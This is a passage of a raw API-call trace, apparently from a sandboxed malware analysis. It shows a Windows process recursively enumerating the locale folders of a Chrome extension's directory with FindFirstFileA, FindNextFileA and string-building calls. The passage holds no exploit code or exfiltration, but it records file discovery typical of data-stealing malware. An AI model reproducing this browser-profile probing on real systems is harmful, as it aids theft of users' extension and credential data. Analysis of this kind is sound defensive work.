Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv") returned 142 [0056.329] lstrlenA (lpString="\\*.*") returned 4 [0056.329] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.329] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv" [0056.329] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv\\*.*" [0056.329] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.329] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.329] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.329] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.329] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.329] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.329] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.329] LocalFree (hMem=0x2dc218) returned 0x0 [0056.329] LocalFree (hMem=0x2dc100) returned 0x0 [0056.330] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.330] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.330] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.330] lstrlenA (lpString="\\") returned 1 [0056.330] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.330] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.330] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.330] lstrlenA (lpString="nl") returned 2 [0056.330] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.330] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.330] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl" [0056.330] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl") returned 142 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl") returned 142 [0056.330] lstrlenA (lpString="\\*.*") returned 4 [0056.330] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.330] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl" [0056.330] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl\\*.*" [0056.330] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\nl\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.330] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.330] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.330] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.330] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.330] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.330] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.330] LocalFree (hMem=0x2dc218) returned 0x0 [0056.330] LocalFree (hMem=0x2dc100) returned 0x0 [0056.330] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.330] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.330] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.330] lstrlenA (lpString="\\") returned 1 [0056.330] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.330] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.330] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.330] lstrlenA (lpString="no") returned 2 [0056.330] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.330] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.330] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no" [0056.330] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no") returned 142 [0056.330] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no") returned 142 [0056.330] lstrlenA (lpString="\\*.*") returned 4 [0056.331] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.331] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no" [0056.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no\\*.*" [0056.331] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\no\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.331] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.331] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.331] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.331] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.331] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.331] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.331] LocalFree (hMem=0x2dc218) returned 0x0 [0056.331] LocalFree (hMem=0x2dc100) returned 0x0 [0056.331] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.331] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.331] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.331] lstrlenA (lpString="\\") returned 1 [0056.331] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.331] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.331] lstrlenA (lpString="pl") returned 2 [0056.331] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.331] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl" [0056.331] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl") returned 142 [0056.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl") returned 142 [0056.331] lstrlenA (lpString="\\*.*") returned 4 [0056.331] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.331] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl" [0056.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl\\*.*" [0056.331] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pl\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.331] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.331] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.331] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.331] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.331] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.331] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.332] LocalFree (hMem=0x2dc218) returned 0x0 [0056.332] LocalFree (hMem=0x2dc100) returned 0x0 [0056.332] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.332] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.332] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.332] lstrlenA (lpString="\\") returned 1 [0056.332] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.332] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.332] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.332] lstrlenA (lpString="pt_BR") returned 5 [0056.332] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x2dc100 [0056.332] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.332] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR" [0056.332] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 